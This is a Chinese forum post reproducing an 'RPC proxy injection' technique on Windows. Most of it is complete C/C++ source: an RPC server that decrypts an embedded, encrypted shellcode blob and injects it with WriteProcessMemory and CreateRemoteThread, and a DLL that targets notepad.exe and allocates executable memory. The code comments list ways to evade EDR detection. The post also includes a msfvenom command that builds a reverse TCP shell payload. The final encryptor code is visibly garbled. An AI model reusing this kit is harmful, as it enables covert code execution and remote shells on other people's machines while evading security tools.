找回密码
 立即注册
首页 业界区 安全 RPC 代理远程注入dll获得shell

RPC 代理远程注入dll获得shell

命煦砌 7 天前
RPC 代理远程注入dll获得shell

RPC 接口是什么?

RPC(Remote Procedure Call,远程过程调用)接口,本质是:
一组被暴露出来、允许“远程调用”的函数定义 + 通信协议 + 序列化规则
是 Windows 操作系统中用于不同进程(甚至不同机器)之间进行通信的标准机制。许多系统服务(Service)和后台进程都作为“RPC 服务器”运行,等待其他程序(“RPC 客户端”)发送请求来执行特定的任务。
今天在推特上刷到文章RPC 代理注入。欢迎阅读这篇新的 Medium 文章。在… | 作者:S12 - 0x12Dark Development | 2026 年 1 月 | Medium --- RPC Proxy Injection. Welcome to this new Medium post. In… | by S12 - 0x12Dark Development | Jan, 2026 | Medium:使得攻击者利用RPC机制将恶意代码(如 Shellcode 、DLL)强制加载到另一个合法进程的内存中并运行,以隐藏自身行踪或获取更高权限。
技术原理

作者 s12deff 之前的研究脉络(关于利用 RPC 进行进程间通信、自定义 DLL 加载等文章),这项技术的工作原理大致如下:
寻找 RPC 接口: 攻击者首先会在目标进程(通常是高权限的系统服务)中寻找一个开放的 RPC 接口。Windows 系统中有成千上万个 RPC 接口。
利用 RPC 作为载体 (Proxy): 传统的注入通常需要打开目标进程句柄(OpenProcess),写入内存(WriteProcessMemory),然后创建线程(CreateRemoteThread)。这种行为很容易被 EDR(端点检测与响应系统)拦截。 RPC Proxy Injection 则不同,它表现为一个合法的 RPC 客户端向 RPC 服务器发送请求。这个请求中可能包含了恶意的 Payload,或者是触发漏洞的参数。
触发执行: 攻击者调用 RPC 接口中的某个特定函数。这个函数在目标进程内部执行时,会被诱导去执行攻击者指定的代码,或者加载攻击者指定的 DLL。

  • 利用RPC 函数本身允许传递回调函数指针,或者通过利用 RPC 消息处理中的逻辑,将执行流重定向到恶意代码。因为代码执行是由合法的 RPC 服务进程发起的(代表客户端执行),所以看起来像是合法的业务操作。
复现流程

其核心思想是将敏感操作分散到两个不同的进程中,以打断 EDR(端点检测与响应系统)的攻击链检测:

  • DLL (Client):负责“准备工作”(查找目标、分配内存)。它看起来像是一个正常的程序在申请资源,但它不写入任何恶意代码,也不执行
  • EXE (Server):负责“脏活”(解密 Shellcode、写入内存、创建线程)。由于它通过 RPC 接收指令,EDR 很难将 DLL 的分配行为与 EXE 的写入/执行行为关联起来。
1.创建message idl并编译

message.idl
  1. [
  2.     uuid(87654321-1234-5678-1234-567812345678),
  3.     version(1.0),
  4.     pointer_default(unique)
  5. ]
  6. interface MessageRPC
  7. {
  8.     void GetSize(
  9.         [in] handle_t IDL_handle,
  10.         [out] hyper* size
  11.     );
  12.     void TriggerInjection(
  13.         [in] handle_t IDL_handle,
  14.         [in] int pid,
  15.         [in] hyper hProcess,
  16.         [in] hyper allocMem,
  17.         [out, string] unsigned char** response
  18.     );
  19. }
复制代码
message.acf
  1. [
  2.     implicit_handle(handle_t hBinding)
  3. ]
  4. interface MessageRPC
  5. {
  6. }
复制代码
打开Visual Studio Developer Command Prompt,
  1. midl /env x64 /app_config message.idl
复制代码
得到

  • message.h (头文件)
  • message_c.c (客户端存根,给 DLL 用)
  • message_s.c (服务器存根,给 EXE 用)
2.编译客户端和服务器

RpcServer.cpp
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #include <stdio.h>
  3. #include <windows.h>
  4. #include <stdlib.h>
  5. #include <time.h>
  6. #include <stdint.h>
  7. #include "message.h"
  8. #pragma comment(lib, "Rpcrt4.lib")
  9. // Add evasion
  10. // 1- Encrypted shellcode = DONE!
  11. // 2- Decode at runtime = DONE!
  12. // 3- Divide responsibility -> OpenProcess and VirtualAllocEx in the DLL. WriteProcessMemory and CreateRemoteThread in the RPC server = DONE!
  13. // 4- Change to CustomWriteProcessMemory
  14. // 5- Alternative to CreateRemoteThread
  15. // 6- Divide Shellcode responsibility -> DLL writes a part of shellcode + RPC server writes the rest
  16. unsigned char buf[] = "\x76\x18\xfc\x42\x85\x55\xa1\x16\x49\x58\x7b\xa4\x8b\xd9\x03\xb0\x5f\x92\xa2\x78\xb3\x6d\x17\x84\xe5\x30\xb2\xea\x72\xae\x5a\x1e\x21\x66\x2b\xfc\xfc\x0b\xf1\xb7\xbc\x59\x82\x6e\x54\xae\x9c\xdf\x06\xf8\xec\xff\x29\xfe\x2d\xb9\xe6\x2d\xed\x96\x98\xeb\xc6\x25\x82\x75\x01\xe5\xd1\x50\x51\x64\x2f\x43\x53\xa8\x8c\xe5\x4d\x59\x71\xab\x6d\x63\x60\xda\x96\xb0\x1b\x45\x9e\xb0\xb5\xf9\xc2\xaf\x3b\x1d\x1e\x6c\xd6\x6a\x85\xfc\xcb\xad\xaa\x16\x28\xf3\x29\x1b\x82\xd5\x53\xd1\x13\xc2\xdb\xf3\xeb\x97\x9d\x7d\x80\xea\x5a\x6e\x22\x14\xac\xa1\x13\xcd\xab\x23\x60\x4e\x6a\xa6\x8d\xff\xd7\x5b\x02\x71\xf9\x06\xaf\xb7\xed\xc3\xa1\x79\x71\xc0\x39\xcd\x96\xed\x00\x09\x4c\xb3\xcf\x30\x00\xe8\x23\x7e\x22\x26\x82\x62\xfd\xae\x59\x20\x70\xe0\x47\x8d\xfb\x7b\xc2\x9e\x65\xd0\x52\x83\xf4\x82\xa8\xec\xa4\xc2\x0d\x97\x4d\xa5\xa6\xb7\x0d\x94\x36\xab\xb4\x1c\xea\xf4\xdd\x75\x41\xcf\xb1\xab\x6d\x98\xe2\x06\xa2\x1f\x99\xf1\x20\x4e\x35\x29\x94\xd8\xd4\x7f\x50\xf3\x04\x1f\x49\x36\xa6\x96\x5f\xab\x4d\x54\x02\xc4\x2d\x4c\x93\xae\x63\x9d\x84\x85\x63\xcf\xb8\x99\xfb\xb4\x28\x53\x64\x09\x11\x11\xe5\x3a\x5c\xc2\x35\xb9\xe6\xab\x44\x20\x63\x35\x90\x41\x73\x6b\x3f\x10\xd0\xe7\xf3\x0e\x92\x5b\xbc\x79\xd3\x02\xc9\xea\x74\x68\xcc\xd3\xb6\x58\x72\xac\x88\x15\x9d\xfc\x7c\x4a\x0d\xe7\xbe\x0f\xba\x12\x17\x87\xf2\xea\x3b\x08\x9c\x0e\x2f\x71\xdd\x66\x37\x33\x64\xe4\x54\x9c\x43\x23\x7c\x98\x49\x47\x91\x44\xe1\xbc\x2a\x8f\xda\xaf\xa3\xea\xbc\x4e\xd0\x82\x3f\x71\xa6\xa5\x62\xc0\x07\xbb\x82\x80\xb9\xef\x81\x42\x48\x54\x6d\x5c\x63\xc0\x5d\x08\x32\x58\x8c\x6c\x8f\x8b\x58\xb6\x7b\xb6\x71\xa7\x6b\x9f\x69\x25\x73\xec\xda\xa8\x93\xeb\xa8\xfe\x82\xdc\x4e\x34\x46\x93\x64\x71\x2e\x0d\xe7\x48\x8e\x9c\xeb\x21\xfd\x99\x36\xfb\x1b\x7e\xae\xab\x5a\x3c\xde\x2c\xfa\x06\xd1\xa0\x4d\x05\xca\x8f\xe8\x4f\xe2\xf4\xcd\x6a\xd1\x0a\x68\xb8\xae\x2d\xee\x7f\x37\x3e\xe4\x29\xb7\x18\x5f\x94\x93\x1e\x40\x32\xb4\x16\x96\xe2\xa2\x6a\xaf\x50\x62\x10\xf4\x4e\xca\xa6\xbe\xe8\x60\x35";
  17. int bufLen = sizeof(buf) ;
  18. // ==================== GLOBAL STATE ====================
  19. unsigned char* g_DecryptBuffer = NULL;
  20. SIZE_T g_PaddedLen = 0;
  21. #define ROUNDS 45
  22. #define BLOCK_BYTES 16
  23. uint64_t roundKeys[ROUNDS];
  24. // ==================== CRC32 ====================
  25. uint32_t crc32Table[256];
  26. void generateCrc32Table() {
  27.     for (uint32_t i = 0; i < 256; i++) {
  28.         uint32_t c = i;
  29.         for (int j = 0; j < 8; j++) {
  30.             c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
  31.         }
  32.         crc32Table[i] = c;
  33.     }
  34. }
  35. uint32_t crc32(const unsigned char* data, size_t length) {
  36.     uint32_t crc = 0xFFFFFFFF;
  37.     for (size_t i = 0; i < length; i++) {
  38.         crc = crc32Table[(crc ^ data[i]) & 0xFF] ^ (crc >> 8);
  39.     }
  40.     return crc ^ 0xFFFFFFFF;
  41. }
  42. // ==================== SPECK ====================
  43. void parseHexKey(const char* keyStr, uint64_t key[2]) {
  44.     char buffer[17] = { 0 };
  45.     strncpy(buffer, keyStr, 16);
  46.     key[0] = strtoull(buffer, NULL, 16);
  47.     strncpy(buffer, keyStr + 16, 16);
  48.     key[1] = strtoull(buffer, NULL, 16);
  49. }
  50. uint64_t rol(uint64_t x, int r) {
  51.     return (x << r) | (x >> (64 - r));
  52. }
  53. uint64_t ror(uint64_t x, int r) {
  54.     return (x >> r) | (x << (64 - r));
  55. }
  56. void speckKeySchedule(uint64_t key[2]) {
  57.     roundKeys[0] = key[0];
  58.     uint64_t b = key[1];
  59.     for (int i = 0; i < ROUNDS - 1; i++) {
  60.         b = (ror(b, 8) + roundKeys[i]) ^ i;
  61.         roundKeys[i + 1] = rol(roundKeys[i], 3) ^ b;
  62.     }
  63. }
  64. void speckEncrypt(uint64_t* x, uint64_t* y) {
  65.     for (int i = 0; i < ROUNDS; i++) {
  66.         *x = (ror(*x, 8) + *y) ^ roundKeys[i];
  67.         *y = rol(*y, 3) ^ *x;
  68.     }
  69. }
  70. void speckDecrypt(uint64_t* x, uint64_t* y) {
  71.     for (int i = ROUNDS - 1; i >= 0; i--) {
  72.         *y = ror(*y ^ *x, 3);
  73.         *x = rol((*x ^ roundKeys[i]) - *y, 8);
  74.     }
  75. }
  76. // ==================== RPC FUNCTIONS ====================
  77. void GetSize(handle_t IDL_handle, hyper* size)
  78. {
  79.     printf("[SERVER] GetSize: Starting\n");
  80.     if (size == NULL) {
  81.         printf("[SERVER ERROR] GetSize: size is NULL\n");
  82.         return;
  83.     }
  84.     const char* keyStr = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";
  85.     uint64_t key[2];
  86.     parseHexKey(keyStr, key);
  87.     speckKeySchedule(key);
  88.     uint64_t* iv = (uint64_t*)buf;
  89.     int totalLen = sizeof(buf) - 1;
  90.     int payloadLen = totalLen - BLOCK_BYTES;
  91.     int paddedLen = (payloadLen + BLOCK_BYTES - 1) & ~(BLOCK_BYTES - 1);
  92.     printf("[SERVER] GetSize: Calculated padded length = %d\n", paddedLen);
  93.     if (g_DecryptBuffer) {
  94.         printf("[SERVER] GetSize: Freeing previous buffer\n");
  95.         free(g_DecryptBuffer);
  96.         g_DecryptBuffer = NULL;
  97.     }
  98.     g_DecryptBuffer = (unsigned char*)malloc(paddedLen);
  99.     if (!g_DecryptBuffer) {
  100.         printf("[SERVER ERROR] GetSize: malloc failed\n");
  101.         *size = 0;
  102.         return;
  103.     }
  104.     printf("[SERVER] GetSize: Buffer allocated successfully\n");
  105.     memcpy(g_DecryptBuffer, buf + BLOCK_BYTES, paddedLen);
  106.     uint64_t prevDecrypt[2] = { iv[0], iv[1] };
  107.     for (int i = 0; i < paddedLen; i += BLOCK_BYTES) {
  108.         uint64_t* block = (uint64_t*)(g_DecryptBuffer + i);
  109.         uint64_t temp[2] = { block[0], block[1] };
  110.         speckDecrypt(&block[0], &block[1]);
  111.         block[0] ^= prevDecrypt[0];
  112.         block[1] ^= prevDecrypt[1];
  113.         prevDecrypt[0] = temp[0];
  114.         prevDecrypt[1] = temp[1];
  115.     }
  116.     g_PaddedLen = paddedLen;
  117.     *size = (hyper)paddedLen;
  118.     printf("[SERVER SUCCESS] GetSize: Returning size = %lld\n", *size);
  119. }
  120. void TriggerInjection(
  121.     handle_t IDL_handle,
  122.     int pid,
  123.     hyper hProcess,
  124.     hyper allocMem,
  125.     unsigned char** response
  126. )
  127. {
  128.     printf("[SERVER] TriggerInjection: Starting\n");
  129.     printf("[SERVER] TriggerInjection: PID=%d hProcess=0x%llx allocMem=0x%llx\n",
  130.         pid, hProcess, allocMem);
  131.     if (!response) {
  132.         printf("[SERVER ERROR] TriggerInjection: response is NULL\n");
  133.         return;
  134.     }
  135.     if (!g_DecryptBuffer) {
  136.         printf("[SERVER ERROR] TriggerInjection: Decryption buffer is NULL\n");
  137.         const char* msg = "Decryption buffer not initialized";
  138.         *response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);
  139.         strcpy((char*)*response, msg);
  140.         return;
  141.     }
  142.     HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  143.     if (!processHandle) {
  144.         printf("[SERVER ERROR] TriggerInjection: OpenProcess failed (0x%08x)\n", GetLastError());
  145.         const char* msg = "Failed to open target process";
  146.         *response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);
  147.         strcpy((char*)*response, msg);
  148.         return;
  149.     }
  150.     printf("[SERVER] TriggerInjection: Process opened successfully\n");
  151.     LPVOID remoteMem = (LPVOID)(ULONG_PTR)allocMem;
  152.     if (!remoteMem) {
  153.         printf("[SERVER ERROR] TriggerInjection: allocMem is NULL\n");
  154.         CloseHandle(processHandle);
  155.         return;
  156.     }
  157.     SIZE_T written;
  158.     if (!WriteProcessMemory(processHandle, remoteMem, g_DecryptBuffer, g_PaddedLen, &written)) {
  159.         printf("[SERVER ERROR] TriggerInjection: WriteProcessMemory failed (0x%08x)\n", GetLastError());
  160.         CloseHandle(processHandle);
  161.         return;
  162.     }
  163.     printf("[SERVER SUCCESS] TriggerInjection: Wrote %zu bytes\n", written);
  164.     HANDLE hThread = CreateRemoteThread(
  165.         processHandle,
  166.         NULL,
  167.         0,
  168.         (LPTHREAD_START_ROUTINE)remoteMem,
  169.         NULL,
  170.         0,
  171.         NULL
  172.     );
  173.     if (!hThread) {
  174.         printf("[SERVER ERROR] TriggerInjection: CreateRemoteThread failed (0x%08x)\n", GetLastError());
  175.         CloseHandle(processHandle);
  176.         return;
  177.     }
  178.     printf("[SERVER SUCCESS] TriggerInjection: Remote thread created\n");
  179.     CloseHandle(hThread);
  180.     CloseHandle(processHandle);
  181.     free(g_DecryptBuffer);
  182.     g_DecryptBuffer = NULL;
  183.     const char* reply = "Injection succeeded";
  184.     *response = (unsigned char*)midl_user_allocate(strlen(reply) + 1);
  185.     strcpy((char*)*response, reply);
  186.     printf("[SERVER SUCCESS] TriggerInjection: Completed successfully\n");
  187. }
  188. // ==================== RPC MEMORY ====================
  189. void* __RPC_USER midl_user_allocate(size_t len) {
  190.     return malloc(len);
  191. }
  192. void __RPC_USER midl_user_free(void* ptr) {
  193.     free(ptr);
  194. }
  195. // ==================== MAIN ====================
  196. // midl /env x64 /robust message.idl
  197. // Include message_s.c and message.h
  198. int main()
  199. {
  200.     RPC_STATUS status;
  201.     status = RpcServerUseProtseqEpA(
  202.         (RPC_CSTR)"ncalrpc",
  203.         RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
  204.         (RPC_CSTR)"MessageRPC",
  205.         NULL
  206.     );
  207.     if (status) return status;
  208.     status = RpcServerRegisterIf(
  209.         MessageRPC_v1_0_s_ifspec,
  210.         NULL,
  211.         NULL
  212.     );
  213.     if (status) return status;
  214.     printf("[SERVER] RPC Server running...\n");
  215.     status = RpcServerListen(
  216.         1,
  217.         RPC_C_LISTEN_MAX_CALLS_DEFAULT,
  218.         FALSE
  219.     );
  220.     return status;
  221. }
复制代码
dllmain.cpp
  1. // dllmain.cpp : RPC Client DLL that automatically connects to the local server
  2. #include <Windows.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <rpc.h>
  6. #include <string>
  7. #include <iostream>
  8. #include <tlhelp32.h>
  9. #include "message.h" // Generated by MIDL - includes the interface definitions
  10. #pragma comment(lib, "Rpcrt4.lib")
  11. using namespace std;
  12. int getPIDbyProcName(const string& procName) {
  13.     OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Starting process search");
  14.     int pid = 0;
  15.     HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  16.     if (hSnap == INVALID_HANDLE_VALUE) {
  17.         OutputDebugStringW(L"[ERROR] getPIDbyProcName: CreateToolhelp32Snapshot failed");
  18.         return 0;
  19.     }
  20.     OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Snapshot created successfully");
  21.     PROCESSENTRY32W pe32;
  22.     pe32.dwSize = sizeof(PROCESSENTRY32W);
  23.     if (Process32FirstW(hSnap, &pe32) != FALSE) {
  24.         wstring wideProcName(procName.begin(), procName.end());
  25.         wchar_t msg[512];
  26.         swprintf_s(msg, L"[DEBUG] getPIDbyProcName: Searching for process: %s", wideProcName.c_str());
  27.         OutputDebugStringW(msg);
  28.         do {
  29.             if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
  30.                 pid = pe32.th32ProcessID;
  31.                 swprintf_s(msg, L"[SUCCESS] getPIDbyProcName: Process found! PID=%d", pid);
  32.                 OutputDebugStringW(msg);
  33.                 break;
  34.             }
  35.         } while (Process32NextW(hSnap, &pe32) != FALSE);
  36.         if (pid == 0) {
  37.             OutputDebugStringW(L"[WARNING] getPIDbyProcName: Process not found");
  38.         }
  39.     }
  40.     else {
  41.         OutputDebugStringW(L"[ERROR] getPIDbyProcName: Process32FirstW failed");
  42.     }
  43.     CloseHandle(hSnap);
  44.     return pid;
  45. }
  46. // -----------------------------------------------------
  47. // Memory management functions required by RPC
  48. // -----------------------------------------------------
  49. void* __RPC_USER midl_user_allocate(size_t size)
  50. {
  51.     wchar_t msg[256];
  52.     swprintf_s(msg, L"[DEBUG] midl_user_allocate: Allocating %zu bytes", size);
  53.     OutputDebugStringW(msg);
  54.     return malloc(size);
  55. }
  56. void __RPC_USER midl_user_free(void* ptr)
  57. {
  58.     OutputDebugStringW(L"[DEBUG] midl_user_free: Freeing memory");
  59.     free(ptr);
  60. }
  61. long long getPaddedLen() {
  62.     OutputDebugStringW(L"[DEBUG] getPaddedLen: Starting");
  63.     RPC_STATUS status;
  64.     RPC_WSTR stringBinding = NULL;
  65.     RPC_BINDING_HANDLE binding = NULL;
  66.     // 1. Compose the binding string for local RPC (ncalrpc)
  67.     OutputDebugStringW(L"[DEBUG] getPaddedLen: Composing binding string");
  68.     status = RpcStringBindingComposeW(
  69.         NULL,
  70.         (RPC_WSTR)L"ncalrpc",
  71.         NULL,
  72.         (RPC_WSTR)L"MessageRPC",
  73.         NULL,
  74.         &stringBinding
  75.     );
  76.     if (status != RPC_S_OK)
  77.     {
  78.         wchar_t msg[256];
  79.         swprintf_s(msg, L"[ERROR] getPaddedLen: RpcStringBindingCompose failed: 0x%08x", status);
  80.         OutputDebugStringW(msg);
  81.         return 0;
  82.     }
  83.     OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding string composed");
  84.     // 2. Create the actual binding handle
  85.     OutputDebugStringW(L"[DEBUG] getPaddedLen: Creating binding handle");
  86.     status = RpcBindingFromStringBindingW(stringBinding, &binding);
  87.     RpcStringFreeW(&stringBinding);
  88.     if (status != RPC_S_OK)
  89.     {
  90.         wchar_t msg[256];
  91.         swprintf_s(msg, L"[ERROR] getPaddedLen: RpcBindingFromStringBinding failed: 0x%08x", status);
  92.         OutputDebugStringW(msg);
  93.         return 0;
  94.     }
  95.     OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding handle created");
  96.     RpcTryExcept
  97.     {
  98.         OutputDebugStringW(L"[DEBUG] getPaddedLen: Calling GetSize RPC");
  99.         long long size = 0;
  100.         GetSize(binding, &size);
  101.         wchar_t msg[256];
  102.         swprintf_s(msg, L"[SUCCESS] getPaddedLen: GetSize returned: %lld", size);
  103.         OutputDebugStringW(msg);
  104.         return size;
  105.     }
  106.         RpcExcept(EXCEPTION_EXECUTE_HANDLER)
  107.     {
  108.         wchar_t msg[256];
  109.         swprintf_s(msg, L"[ERROR] getPaddedLen: RPC Exception: 0x%08x", RpcExceptionCode());
  110.         OutputDebugStringW(msg);
  111.     }
  112.     RpcEndExcept
  113.         OutputDebugStringW(L"[DEBUG] getPaddedLen: Finishing with error");
  114.     return 0;
  115. }
  116. // -----------------------------------------------------
  117. // Helper function to make the RPC call
  118. // -----------------------------------------------------
  119. void CallRpcServer(int pid, HANDLE hProcess, LPVOID allocMem)
  120. {
  121.     OutputDebugStringW(L"[DEBUG] CallRpcServer: Starting");
  122.     wchar_t msg[256];
  123.     swprintf_s(msg, L"[DEBUG] CallRpcServer: PID=%d, hProcess=0x%p, allocMem=0x%p", pid, hProcess, allocMem);
  124.     OutputDebugStringW(msg);
  125.     RPC_STATUS status;
  126.     RPC_WSTR stringBinding = NULL;
  127.     RPC_BINDING_HANDLE binding = NULL;
  128.     OutputDebugStringW(L"[DEBUG] CallRpcServer: Composing binding string");
  129.     status = RpcStringBindingComposeW(
  130.         NULL,
  131.         (RPC_WSTR)L"ncalrpc",
  132.         NULL,
  133.         (RPC_WSTR)L"MessageRPC",
  134.         NULL,
  135.         &stringBinding
  136.     );
  137.     if (status != RPC_S_OK)
  138.     {
  139.         swprintf_s(msg, L"[ERROR] CallRpcServer: RpcStringBindingCompose failed: 0x%08x", status);
  140.         OutputDebugStringW(msg);
  141.         return;
  142.     }
  143.     OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding string composed");
  144.     OutputDebugStringW(L"[DEBUG] CallRpcServer: Creating binding handle");
  145.     status = RpcBindingFromStringBindingW(stringBinding, &binding);
  146.     RpcStringFreeW(&stringBinding);
  147.     if (status != RPC_S_OK)
  148.     {
  149.         swprintf_s(msg, L"[ERROR] CallRpcServer: RpcBindingFromStringBinding failed: 0x%08x", status);
  150.         OutputDebugStringW(msg);
  151.         return;
  152.     }
  153.     OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding handle created");
  154.     RpcTryExcept
  155.     {
  156.         OutputDebugStringW(L"[DEBUG] CallRpcServer: Calling TriggerInjection RPC");
  157.         unsigned char* response = NULL;
  158.         TriggerInjection(binding, pid, (hyper)hProcess, (hyper)allocMem, &response);
  159.         OutputDebugStringW(L"[SUCCESS] CallRpcServer: TriggerInjection completed");
  160.         if (response)
  161.         {
  162.             wchar_t dbg[512];
  163.             swprintf_s(dbg, L"[SUCCESS] CallRpcServer: Server response: %S", response);
  164.             OutputDebugStringW(dbg);
  165.             midl_user_free(response);
  166.         }
  167.         else {
  168.             OutputDebugStringW(L"[WARNING] CallRpcServer: NULL response from server");
  169.         }
  170.     }
  171.         RpcExcept(EXCEPTION_EXECUTE_HANDLER)
  172.     {
  173.         swprintf_s(msg, L"[ERROR] CallRpcServer: RPC Exception: 0x%08x", RpcExceptionCode());
  174.         OutputDebugStringW(msg);
  175.     }
  176.     RpcEndExcept
  177.         OutputDebugStringW(L"[DEBUG] CallRpcServer: Finishing");
  178. }
  179. // -----------------------------------------------------
  180. // Entry point
  181. // -----------------------------------------------------
  182. BOOL APIENTRY DllMain(HMODULE hModule,
  183.     DWORD  ul_reason_for_call,
  184.     LPVOID lpReserved)
  185. {
  186.     switch (ul_reason_for_call)
  187.     {
  188.         int pid;
  189.         HANDLE hProcess;
  190.         SIZE_T size;
  191.         LPVOID allocMem;
  192.         long long paddedLenValue;
  193.     case DLL_PROCESS_ATTACH:
  194.         OutputDebugStringW(L"[INFO] ========================================");
  195.         OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH started");
  196.         OutputDebugStringW(L"[INFO] ========================================");
  197.         OutputDebugStringW(L"[DEBUG] DllMain: Getting PID of notepad.exe");
  198.         pid = getPIDbyProcName("notepad.exe");
  199.         if (pid == 0) {
  200.             OutputDebugStringW(L"[ERROR] DllMain: Failed to find notepad.exe");
  201.             return FALSE;
  202.         }
  203.         wchar_t msg[256];
  204.         swprintf_s(msg, L"[DEBUG] DllMain: Opening process PID=%d", pid);
  205.         OutputDebugStringW(msg);
  206.         hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  207.         if (hProcess == NULL)
  208.         {
  209.             DWORD err = GetLastError();
  210.             swprintf_s(msg, L"[ERROR] DllMain: OpenProcess failed. Error: 0x%08x", err);
  211.             OutputDebugStringW(msg);
  212.             return FALSE;
  213.         }
  214.         swprintf_s(msg, L"[SUCCESS] DllMain: Process opened. Handle=0x%p", hProcess);
  215.         OutputDebugStringW(msg);
  216.         OutputDebugStringW(L"[DEBUG] DllMain: Getting padded size");
  217.         paddedLenValue = getPaddedLen();
  218.         if (paddedLenValue == 0) {
  219.             OutputDebugStringW(L"[ERROR] DllMain: getPaddedLen returned 0");
  220.             CloseHandle(hProcess);
  221.             return FALSE;
  222.         }
  223.         size = (SIZE_T)paddedLenValue;
  224.         swprintf_s(msg, L"[DEBUG] DllMain: Size to allocate: %zu bytes", size);
  225.         OutputDebugStringW(msg);
  226.         OutputDebugStringW(L"[DEBUG] DllMain: Allocating memory in remote process");
  227.         allocMem = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  228.         if (allocMem == NULL) {
  229.             DWORD err = GetLastError();
  230.             swprintf_s(msg, L"[ERROR] DllMain: VirtualAllocEx failed. Error: 0x%08x", err);
  231.             OutputDebugStringW(msg);
  232.             CloseHandle(hProcess);
  233.             return FALSE;
  234.         }
  235.         swprintf_s(msg, L"[SUCCESS] DllMain: Memory allocated at: 0x%p", allocMem);
  236.         OutputDebugStringW(msg);
  237.         OutputDebugStringW(L"[DEBUG] DllMain: Calling CallRpcServer");
  238.         CallRpcServer(pid, hProcess, allocMem);
  239.         OutputDebugStringW(L"[INFO] ========================================");
  240.         OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH completed");
  241.         OutputDebugStringW(L"[INFO] ========================================");
  242.         break;
  243.     case DLL_THREAD_ATTACH:
  244.         OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_ATTACH");
  245.         break;
  246.     case DLL_THREAD_DETACH:
  247.         OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_DETACH");
  248.         break;
  249.     case DLL_PROCESS_DETACH:
  250.         OutputDebugStringW(L"[DEBUG] DllMain: DLL_PROCESS_DETACH");
  251.         break;
  252.     }
  253.     return TRUE;
  254. }
复制代码
思路:DLL 被加载─> 找 notepad.exe─> OpenProcess─> RPC 调用 GetSize()─> Server 解密 shellcode,返回大小─> DLL VirtualAllocEx()─> RPC 调用 TriggerInjection()─> WriteProcessMemory、CreateRemoteThread
3.生成shellcode

MSF 生成一个 raw 格式的 shellcode
  1. msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o payload.bin
复制代码
然后加密,硬编码进server
[code]#define _CRT_SECURE_NO_WARNINGS#include #include #include #include #include #include #include #include #include // ==================== 配置区域 ====================// 必须与 RpcServer.cpp 中的密钥保持一致const char* KEY_STR = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";#define ROUNDS 45#define BLOCK_BYTES 16// ==================== SPECK 核心算法 ====================uint64_t roundKeys[ROUNDS];void parseHexKey(const char* keyStr, uint64_t key[2]) {    char buffer[17] = { 0 };    strncpy(buffer, keyStr, 16);    key[0] = strtoull(buffer, NULL, 16);    strncpy(buffer, keyStr + 16, 16);    key[1] = strtoull(buffer, NULL, 16);}uint64_t rol(uint64_t x, int r) { return (x > (64 - r)); }uint64_t ror(uint64_t x, int r) { return (x >> r) | (x = 0; i--) {        *y = ror(*y ^ *x, 3);        *x = rol((*x ^ roundKeys) - *y, 8);    }}// ==================== 辅助工具函数 ====================// 读取文件std::vector ReadFile(const std::string& filename) {    std::ifstream file(filename, std::ios::binary);    if (!file) return {};    return std::vector((std::istreambuf_iterator(file)), std::istreambuf_iterator());}// 写入文件void WriteFile(const std::string& filename, const std::vector& data) {    std:fstream file(filename, std::ios::binary);    file.write((const char*)data.data(), data.size());}// 生成随机 IV (16字节)void GenerateRandomIV(uint64_t iv[2]) {    std::random_device rd;    std::mt19937_64 gen(rd());    iv[0] = gen();    iv[1] = gen();}// PKCS7 Padding (补齐数据到 16 的倍数)std::vector PKCS7Pad(const std::vector& data) {    std::vector padded = data;    int paddingSize = BLOCK_BYTES - (data.size() % BLOCK_BYTES);    for (int i = 0; i < paddingSize; i++) {        padded.push_back((unsigned char)paddingSize);    }    return padded;}// PKCS7 Unpadding (移除补齐)std::vector PKCS7Unpad(const std::vector& data) {    if (data.empty()) return {};    unsigned char paddingSize = data.back();    if (paddingSize > BLOCK_BYTES || paddingSize == 0) return data; // 格式不对,直接返回原数据    std::vector unpadded = data;    unpadded.resize(data.size() - paddingSize);    return unpadded;}// 输出为 C 语言数组格式void PrintAsCArray(const std::vector& data) {    std::cout

相关推荐

5 天前

举报

4 天前

举报

喜欢鼓捣这些软件,现在用得少,谢谢分享!
您需要登录后才可以回帖 登录 | 立即注册